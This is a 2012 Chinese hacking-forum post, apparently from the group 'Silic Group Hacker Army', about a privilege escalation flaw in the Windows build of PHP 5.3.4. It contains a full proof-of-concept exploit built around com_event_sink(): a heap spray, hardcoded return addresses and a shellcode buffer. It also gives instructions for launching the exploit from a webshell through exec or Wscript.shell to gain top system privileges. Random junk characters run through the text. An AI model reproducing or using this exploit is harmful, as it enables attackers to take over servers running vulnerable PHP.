找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2395|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中5 P  Z# L9 F0 Y  T" |
8 y5 f( d" B- d: ^
测试方法如下:cmd /c x:\php\php.exe x:\test.php
- a1 e8 N6 F; Y! t+ x1 \/ d
2 O6 Y: `& G- `0 X下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php1 Y/ z5 Z3 }) M
这里是两个测试的截图:
2 H/ N+ H( n+ r" Y3 F  i  d" z1 }# }1 I2 f4 D1 @
/ L. u& B, L' d% ?. ]
2 a' V' C4 P& _$ V
; Y% B: U# n5 ^: E* ~) g+ W% f
- |$ g& O6 E) u% F
成功利用此漏洞的攻击者将获得系统的最高权限9 y+ c9 p% ]+ p. E  X

/ f1 P' s: @- J4 C) n) c' h
# ^: ?, G. P* ^9 ^0 w& g- |& R4 T, [; Y5 a; X
# F6 G/ X! \! H8 r  m8 z8 X

, m( P2 y& e+ x. U, W$ D# d关于漏洞分析稍后附上。一下是PoC代码:
9 y6 l/ }( m) k/ t
# U+ z7 ~6 q$ Z. j& r<?php$ D$ h; C" Z+ @. U: [* A. @# |  V9 z
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
5 ~9 X- K2 X" q- S& Z( n//$eip ="\x44\x43\x42\x41";
6 q& @4 n" S9 p2 E: x+ b( v2 [$eip= "\x4b\xe8\x57\x78";
" K+ w1 V# z# W& _- @8 T& F' l$eax ="\x80\x01\x8d\x04";7 e$ a. r6 e6 [/ f9 {3 r
$deodrant="";
2 w+ G  N1 a" G! F$axespray = str_repeat($eip.$eax,0x80);+ g$ d, ]! B1 r  q: ~
//048d0190- ^+ x1 A9 Q& U
echo strlen($axespray);2 U  N+ [% b! _. w
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";! z, g/ ~) [& S0 o9 y! w
echo "Silic Group Hacker Army - BlackBap.Org";0 f; U: n/ X5 U5 x% @
//19200 ==4B32 4b00
/ S6 ?/ y$ z1 y: Q% ufor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}- k0 \  x9 y6 b7 n0 O
$terminate = "T";
9 b- Q4 |* p: S  E$ B3 F$u[] =$deodrant;9 _1 q0 Q9 @3 x# h+ D
$r[] =$deodrant.$terminate;
9 b% n2 {# M2 K5 j+ @% r# S, p( R$a[] =$deodrant.$terminate;
' _# U* b4 |% \& n7 s$s[] =$deodrant.$terminate;
, m3 r" O+ l+ U5 H1 e3 A//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的8 L# B0 C" F$ a$ o
$vVar = new VARIANT(0x048d0000+180);
8 {" ]& s, K* }7 d5 }1 M//弹窗代码(Shellcode)
) p8 R+ x2 \# m; U+ _! [% I  a1 c4 C$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";) V! p2 Q2 ]  _+ y/ z% q6 r; r
$var2 = new VARIANT(0x41414242);
! w, V0 O0 P$ `4 G6 J/ Wcom_event_sink($vVar,$var2,$buffer);! _. P$ G' D4 c1 M4 i
?>
" y) x" L/ G: u9 j  g6 g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表